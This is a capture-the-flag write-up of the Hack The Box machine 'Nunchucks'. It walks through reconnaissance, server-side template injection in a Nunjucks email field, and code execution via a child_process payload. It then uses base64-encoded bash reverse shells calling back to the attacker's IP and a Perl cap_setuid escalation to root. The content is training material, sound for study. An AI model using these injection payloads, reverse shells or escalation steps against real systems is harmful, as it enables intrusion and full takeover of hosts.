Nunchucks features a NodeJS website that uses Nunjucks as its templating engine. Fuzzing for the hostname reveals another website that is vulnerable to SSTI, which can be exploited to gain initial access to the system. Further enumeration reveals that the Perl binary has the cap_setuid capability set, and this eventually allows me to escalate myself to root.

I really enjoyed the foothold part of this box, so that section might be a bit longer.

Skills Learned

  • Web enumeration
  • SSTI on Nunjucks
  • Creating tplmap middleware using Flask
  • Exploiting cap_setuid on Perl

Tools

  • Nmap
  • Tplmap
  • Flask

Reconnaissance

Nmap

Full TCP scan with nmap reveals 3 open ports: SSH on its default, HTTP and its secure version, HTTPS.

→ kali@kali «nunchucks» «10.10.14.46» 
$ fscan 10.10.11.122 nunchucks
nmap -p- 10.10.11.122 | grep '^[0-9]' | cut -d '/' -f1 | tr '\n' ',' | sed 's/,$//'
nmap -p 22,80,443 -sC -sV -oA nmap/all-tcp-ports-nunchucks 10.10.11.122
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-05 07:12 EDT
Nmap scan report for 10.10.11.122
Host is up (0.14s latency).

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 6c:14:6d:bb:74:59:c3:78:2e:48:f5:11:d8:5b:47:21 (RSA)
|   256 a2:f4:2c:42:74:65:a3:7c:26:dd:49:72:23:82:72:71 (ECDSA)
|_  256 e1:8d:44:e7:21:6d:7c:13:2f:ea:3b:83:58:aa:02:b3 (ED25519)
80/tcp  open  http     nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to https://nunchucks.htb/
443/tcp open  ssl/http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Nunchucks - Landing Page
| ssl-cert: Subject: commonName=nunchucks.htb/organizationName=Nunchucks-Certificates/stateOrProvinceName=Dorset/countryName=UK
| Subject Alternative Name: DNS:localhost, DNS:nunchucks.htb
| Not valid before: 2021-08-30T15:42:24
|_Not valid after:  2031-08-28T15:42:24
| tls-alpn: 
|_  http/1.1
| tls-nextprotoneg: 
|_  http/1.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.77 seconds

I’ll update my /etc/hosts.

→ kali@kali «nunchucks» «10.10.14.46» 
$ echo '10.10.11.122 nunchucks.htb' | sudo tee -a /etc/hosts

Enumeration

HTTP -> HTTPS

For HTTP, nothing interesting in the server response, it has permanent redirection to HTTPS.

→ kali@kali «nunchucks» «10.10.14.46» 
$ curl -I http://nunchucks.htb/ 
HTTP/1.1 301 Moved Permanently
Server: nginx/1.18.0 (Ubuntu)
Date: Fri, 05 Nov 2021 11:51:32 GMT
Content-Type: text/html
Content-Length: 178
Connection: keep-alive
Location: https://nunchucks.htb/

nunchucks.htb

On the HTTPS, it’s a company site called Nunchucks that offers online shop creation.

image-20211105185410047

At the bottom of the page, there is an email, also it says it will have a store soon.

image-20211105190058511

Opening Wappalyzer reveals it’s using Node.js and PHP. I doubt it’s PHP since appending .php gives me a 404 error.

image-20211105185340514

The signup button sends me to /signup where a signup form is shown. I will just signup and intercept the request.

image-20211105185906028

I’ll send this request to repeater just in case, and then forward it

image-20211105185921036

But then, the returned response states that registration is closed

image-20211105190014496

I changed the endpoint to /api/login, and it returns the same.

image-20211105190246106

Sending a malformed input breaks the parser and leaks the web directory.

image-20211105190735552

Nothing else to try here.

Subdomain Fuzz

Fuzzing the Host header reveals a subdomain: store.nunchucks.htb

→ kali@kali «nunchucks» «10.10.14.46» 
$ ffuf -k -u https://nunchucks.htb -H "Host: FUZZ.nunchucks.htb" -mc 200 -w /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -fl 547

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.3.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : https://nunchucks.htb
 :: Wordlist         : FUZZ: /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.nunchucks.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200
 :: Filter           : Response lines: 547
________________________________________________

store                   [Status: 200, Size: 4028, Words: 1053, Lines: 102]
:: Progress: [4989/4989] :: Job [1/1] :: 269 req/sec :: Duration: [0:00:22] :: Errors: 0 ::

I’ll update my /etc/hosts again.

→ kali@kali «nunchucks» «10.10.14.46» 
$ echo '10.10.11.122 store.nunchucks.htb' | sudo tee -a /etc/hosts

store.nunchucks.htb

Store is not available, but I can subscribe for newsletter.

image-20211105191702728

When I submit an email address there, it reflects the address back.

image-20211105191708337

Foothold

SSTI

Identify

Since I’ve got a spoiler from the machine tags and the machine name, I immediately sent the typical {{7*7}} SSTI payload, and 49 returned in the email address. This means the site is vulnerable.

image-20211105191824204

The email validation is on client-side.

Creating Middleware for tplmap with Flask

The machine name gives a big spoiler about which templating engine this machine uses (Nunjucks), and there is a nice writeup that shows how to exploit it here. But, I’d like to let tplmap identify it for me.

Unfortunately, there is no such option in tplmap for sending a request in JSON format. Therefore, I created a simple middleware using Flask which acts as a middleman/proxy that will takes the non-JSON request and convert it before forwarding the request to store.nunchucks.htb. Here’s the code:

If you’re having trouble with tplmap, maybe this post here could resolve it.

I’ll run the middleware.

→ kali@kali «exploits» «10.10.14.46»
$ python3 middleware.py
 * Serving Flask app "middleware" (lazy loading)
 * Environment: production
   WARNING: This is a development server. Do not use it in a production deployment.
   Use a production WSGI server instead.
 * Debug mode: off
 * Running on http://0.0.0.0:80/ (Press CTRL+C to quit)

Then I will point tplmap to the middleware.

(tplmap-venv) → kali@kali «tplmap» «10.10.14.46»
$ ./tplmap.py -u 'http://127.0.0.1/?email=0mochi@iamf.htb'

Now I’ll just wait for it to finish, and here’s the image of how it went.

image-20211105213721440

After a few sec later, tplmap finally got it right.

(tplmap-venv) → kali@kali «tplmap» «10.10.14.46» git:(master) 
$ ./tplmap.py -u 'http://127.0.0.1/?email=0mochi@iamf.htb'
[+] Tplmap 0.5
    Automatic Server-Side Template Injection Detection and Exploitation Tool

[+] Testing if GET parameter 'email' is injectable
...[SNIP]...
[+] Nunjucks plugin is testing rendering with tag '{{*}}'
[+] Nunjucks plugin has confirmed injection with tag '{{*}}'
[+] Tplmap identified the following injection point:

  GET parameter: email
  Engine: Nunjucks
  Injection: {{*}}
  Context: text
  OS: linux
  Technique: render
  Capabilities:

   Shell command execution: no
   Bind and reverse shell: no
   File write: ok
   File read: ok
   Code evaluation: ok, javascript code

[+] Rerun tplmap providing one of the following options:

    --upload LOCAL REMOTE       Upload files to the server
    --download REMOTE LOCAL     Download remote files

Based on the tplmap results, it seems that command execution is not possible.

Grabbing The Flag

With the file read ability, the first file I want to grab isn’t /etc/passwd, but /proc/self/environ, which most likely to reveal some sensitive information.

(tplmap-venv) → kali@kali «tplmap» «10.10.14.46» git:(master) 
$ ./tplmap.py -u 'http://127.0.0.1/?email=0mochi@iamf.htb' --engine Nunjucks --download '/proc/self/environ' 'loot/dl_environ'
[+] Tplmap 0.5
    Automatic Server-Side Template Injection Detection and Exploitation Tool

[+] Testing if GET parameter 'email' is injectable
[+] Nunjucks plugin is testing rendering with tag '{{*}}'
[+] Nunjucks plugin has confirmed injection with tag '{{*}}'
[+] Tplmap identified the following injection point:

  GET parameter: email
  Engine: Nunjucks
  Injection: {{*}}
  Context: text
  OS: linux
  Technique: render
  Capabilities:

   Shell command execution: no
   Bind and reverse shell: no
   File write: ok
   File read: ok
   Code evaluation: ok, javascript code

[*][plugin] Remote file md5 mismatch, check manually

Even though the tool showed md5 mismatch, I can still read the file contents. This file reveals that the app is running as user david under /var/www/store.nunchucks.

→ kali@kali «tplmap» «10.10.14.46» git:(master)$ cat loot/dl_environ | tr ',' '\n'
LANG=en_GB.UTF-8PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:/usr/bin:/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/binPIDFILE=/home/david/.pm2/pm2.pidHOME=/home/davidLOGNAME=davidUSER=davidSHELL=/bin/bashINVOCATION_ID=c56bdde5ecfc4ab2800ce66c625918d4JOURNAL_STREAM=9:34693PM2_USAGE=CLIPM2_HOME=/home/david/.pm2SILENT=truewindowsHide=truepm2_env={"kill_retry_time":100
"windowsHide":true
"username":"david"
"treekill":true
"automation":true
"pmx":true
"instance_var":"NODE_APP_INSTANCE"
"watch":false
"autorestart":true
"vizion":true
"env":{"PM2_USAGE":"CLI"
"OLDPWD":"/var/www"
"_":"/usr/local/bin/pm2"
"MAIL":"/var/mail/david"
"DBUS_SESSION_BUS_ADDRESS":"unix:path=/run/user/1000/bus"
"PATH":"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin"
"HUSHLOGIN":"FALSE"
"JOURNAL_STREAM":"9:35778"
"XDG_RUNTIME_DIR":"/run/user/1000"
"XDG_SESSION_ID":"1"
"XDG_VTNR":"1"
"SHLVL":"1"
"USER":"david"
"LESSOPEN":"| /usr/bin/lesspipe %s"
"TERM":"linux"
"XDG_SESSION_CLASS":"user"
"LESSCLOSE":"/usr/bin/lesspipe %s %s"
"INVOCATION_ID":"d8a8bc4baeb140c685790fc6e1974718"
"LS_COLORS":"rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.wim=01;31:*.swm=01;31:*.dwm=01;31:*.esd=01;31:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:"
"LANG":"en_GB.UTF-8"
"HOME":"/home/david"
"MOTD_SHOWN":"pam"
"XDG_SESSION_TYPE":"tty"
"LOGNAME":"david"
"PWD":"/var/www/store.nunchucks"
"XDG_SEAT":"seat0"
"SHELL":"/bin/bash"
"PM2_HOME":"/home/david/.pm2"
"server":{}
"unique_id":"cc712ea0-c7b6-40af-9a85-94d9a4fee31a"}
"namespace":"default"
"filter_env":[]
"name":"server"
"node_args":[]
"pm_exec_path":"/var/www/store.nunchucks/server.js"
"pm_cwd":"/var/www/store.nunchucks"
"exec_interpreter":"node"
"exec_mode":"cluster_mode"
"pm_out_log_path":"/home/david/.pm2/logs/server-out-6.log"
"pm_err_log_path":"/home/david/.pm2/logs/server-error-6.log"
"pm_pid_path":"/home/david/.pm2/pids/server-6.pid"
"km_link":false
"vizion_running":false
"NODE_APP_INSTANCE":5
"PM2_USAGE":"CLI"
"OLDPWD":"/var/www"
"_":"/usr/local/bin/pm2"
"MAIL":"/var/mail/david"
"DBUS_SESSION_BUS_ADDRESS":"unix:path=/run/user/1000/bus"
"PATH":"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin"
"HUSHLOGIN":"FALSE"
"JOURNAL_STREAM":"9:35778"
"XDG_RUNTIME_DIR":"/run/user/1000"
"XDG_SESSION_ID":"1"
"XDG_VTNR":"1"
"SHLVL":"1"
"USER":"david"
"LESSOPEN":"| /usr/bin/lesspipe %s"
"TERM":"linux"
"XDG_SESSION_CLASS":"user"
"LESSCLOSE":"/usr/bin/lesspipe %s %s"
"INVOCATION_ID":"d8a8bc4baeb140c685790fc6e1974718"
"LS_COLORS":"rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.wim=01;31:*.swm=01;31:*.dwm=01;31:*.esd=01;31:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:"
"LANG":"en_GB.UTF-8"
"HOME":"/home/david"
"MOTD_SHOWN":"pam"
"XDG_SESSION_TYPE":"tty"
"LOGNAME":"david"
"PWD":"/var/www/store.nunchucks"
"XDG_SEAT":"seat0"
"SHELL":"/bin/bash"
"PM2_HOME":"/home/david/.pm2"
"unique_id":"cc712ea0-c7b6-40af-9a85-94d9a4fee31a"
"status":"launching"
"pm_uptime":1636123032873
"axm_actions":[]
"axm_monitor":{}
"axm_options":{}
"axm_dynamic":{}
"created_at":1633378615869
"restart_time":2
"unstable_restarts":0
"_pm2_version":"5.1.1"
"version":"1.0.0"
"versioning":null
"node_version":"10.19.0"
"pm_id":6
"exit_code":0}NODE_UNIQUE_ID=12NODE_CHANNEL_FD=3

Since I know the username, I can try to grab the flag now.

→ kali@kali «tplmap» «10.10.14.46» git:(master)$ ./tplmap.py -u 'http://127.0.0.1/?email=0mochi@iamf.htb' --engine Nunjucks --download '/home/david/user.txt' 'loot/user.txt'
→ kali@kali «tplmap» «10.10.14.46» git:(master)$ cat loot/user.txt
bac81...[SNIP]...

Shell as david

tpl-shell

With write access, I tried to drop my public key to /home/david/.ssh/authorized_keys, but didn’t work. One possible thing is that there is no .ssh folder, and to create one I need command execution!

After some hours, I tried the --tpl-shell, and using the same blog for syntax reference.

→ kali@kali «tplmap» «10.10.14.46» git:(master)$ tplmap -u 'http://127.0.0.1/?email=0mochi@iamf.htb' --engine Nunjucks --tpl-shell
[+] Tplmap 0.5
    Automatic Server-Side Template Injection Detection and Exploitation Tool

[+] Testing if GET parameter 'email' is injectable
[+] Nunjucks plugin is testing rendering with tag '{{*}}'
[+] Nunjucks plugin has confirmed injection with tag '{{*}}'
[+] Tplmap identified the following injection point:

  GET parameter: email
  Engine: Nunjucks
  Injection: {{*}}
  Context: text
  OS: linux
  Technique: render
  Capabilities:

   Shell command execution: no
   Bind and reverse shell: no
   File write: ok
   File read: ok
   Code evaluation: ok, javascript code

[+] Inject multi-line template code. Press ctrl-D to send the lines
[0] nunjucks >

Previously tplmap identified that I didn’t have code/OS command execution, but here’s what I got when trying to create .ssh folder:

[0] nunjucks > range.constructor("return global.process.mainModule.require('child_process').execSync('ls -la ~/.ssh')")()
[1] nunjucks > 

[0] nunjucks > range.constructor("return global.process.mainModule.require('child_process').execSync('mkdir ~/.ssh')")()
[1] nunjucks > 

[0] nunjucks > range.constructor("return global.process.mainModule.require('child_process').execSync('ls -l ~/.ssh')")()
[1] nunjucks > 
total 0\n

I definitely can execute OS command 😮!

Reverse shell

I tried to inject my SSH pubkey and login, but a password prompt pops out. Therefore, I will use a base64 encoded reverse shell.

The payload:

→ kali@kali «nunchucks» «10.10.14.46» 
$ echo 'bash -c "bash -i >& /dev/tcp/10.10.14.46/53 0>&1"' | base64
YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40Ni81MyAwPiYxIgo=

Now I’ll put that payload to david’s home, and execute it.

[0] nunjucks > range.constructor("return global.process.mainModule.require('child_process').execSync('echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40Ni81MyAwPiYxIgo= | base64 -d > ~/.0mochi.sh && chmod +x ~/.0mochi.sh')")()
[1] nunjucks > 

[0] nunjucks > range.constructor("return global.process.mainModule.require('child_process').execSync('ls -l ~/.0mochi.sh')")()
[1] nunjucks > 
-rwxr-xr-x 1 david david 50 Nov  5 15:32 /home/david/.0mochi.sh\n
[0] nunjucks > range.constructor("return global.process.mainModule.require('child_process').execSync('bash ~/.0mochi.sh')")()
[1] nunjucks > 

On my listener.

→ kali@kali «nunchucks» «10.10.14.46» 
$ nc -nvlp 53                                                      
listening on [any] 53 ...
connect to [10.10.14.46] from (UNKNOWN) [10.10.11.122] 39352
bash: cannot set terminal process group (1009): Inappropriate ioctl for device
bash: no job control in this shell
david@nunchucks:/var/www/store.nunchucks$ id  
id
uid=1000(david) gid=1000(david) groups=1000(david)
david@nunchucks:/var/www/store.nunchucks$

Privilege Escalation

Shell as root

Enumeration

Under /opt there is a backup script written in Perl.

david@nunchucks:/opt$ ls -la
total 16
drwxr-xr-x  3 root root 4096 Oct 28 17:03 .
drwxr-xr-x 19 root root 4096 Oct 28 17:03 ..
-rwxr-xr-x  1 root root  838 Sep  1 12:53 backup.pl
drwxr-xr-x  2 root root 4096 Oct 28 17:03 web_backups
david@nunchucks:/opt$ ls web_backups/ -l
total 14944
-rw-rw-r-- 1 root david 7651273 Sep 26 01:06 backup_2021-09-26-1632618416.tar
-rw-rw-r-- 1 root david 7651273 Sep 26 01:18 backup_2021-09-26-1632619104.tar

The script code:

#!/usr/bin/perl
use strict;
use POSIX qw(strftime);
use DBI;
use POSIX qw(setuid); 
POSIX::setuid(0); 

my $tmpdir        = "/tmp";
my $backup_main = '/var/www';
my $now = strftime("%Y-%m-%d-%s", localtime);
my $tmpbdir = "$tmpdir/backup_$now";

sub printlog
{
    print "[", strftime("%D %T", localtime), "] $_[0]\n";
}

sub archive
{
    printlog "Archiving...";
    system("/usr/bin/tar -zcf $tmpbdir/backup_$now.tar $backup_main/* 2>/dev/null");
    printlog "Backup complete in $tmpbdir/backup_$now.tar";
}

if ($> != 0) {
    die "You must run this script as root.\n";
}

printlog "Backup starts.";
mkdir($tmpbdir);
&archive;
printlog "Moving $tmpbdir/backup_$now to /opt/web_backups";
system("/usr/bin/mv $tmpbdir/backup_$now.tar /opt/web_backups/");
printlog "Removing temporary directory";
rmdir($tmpbdir);
printlog "Completed";

When I run it, I find that I passed the first if statement, which checks for root priv.

david@nunchucks:/opt$ ./backup.pl 
[11/05/21 15:56:43] Backup starts.
[11/05/21 15:56:43] Archiving...
[11/05/21 15:56:44] Backup complete in /tmp/backup_2021-11-05-1636127803/backup_2021-11-05-1636127803.tar
[11/05/21 15:56:44] Moving /tmp/backup_2021-11-05-1636127803/backup_2021-11-05-1636127803 to /opt/web_backups
[11/05/21 15:56:44] Removing temporary directory
[11/05/21 15:56:44] Completed
david@nunchucks:/opt$ 

A quick check on Perl capabilities reveals that it has cap_setuid+ep.

david@nunchucks:/tmp$ getcap $(which perl)
/usr/bin/perl = cap_setuid+ep

Exploit cap_setuid+ep

I tried the GTFObins way to exploit the cap_setuid capability, but it didn’t spawn me a root shell. However, executing whoami still shows that I’m root.

david@nunchucks:/tmp$ /usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'
david@nunchucks:/tmp$ /usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "whoami";'
root

I also couldn’t get the root flag, it returned with permission denied.

The next thing I tried was reusing the backup script, but with all of the code except the header stripped off and I changed the system command for executing reverse shell.

david@nunchucks:/tmp$ cat .0mochi.pl 
#!/usr/bin/perl
use strict;
use POSIX qw(strftime);
use DBI;
use POSIX qw(setuid); 
POSIX::setuid(0); 

system("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.46/53 0>&1'")
david@nunchucks:/tmp$ chmod +x .0mochi.pl 

And it worked!

→ kali@kali «nunchucks» «10.10.14.46» 
$ nc -nvlp 53
listening on [any] 53 ...
connect to [10.10.14.46] from (UNKNOWN) [10.10.11.122] 39386
root@nunchucks:/tmp# id
id
uid=0(root) gid=1000(david) groups=1000(david)

image-20211105233721153

The flag

root@nunchucks:/tmp# cat /root/root.txt
cat /root/root.txt
1d2cc...[SNIP]...

References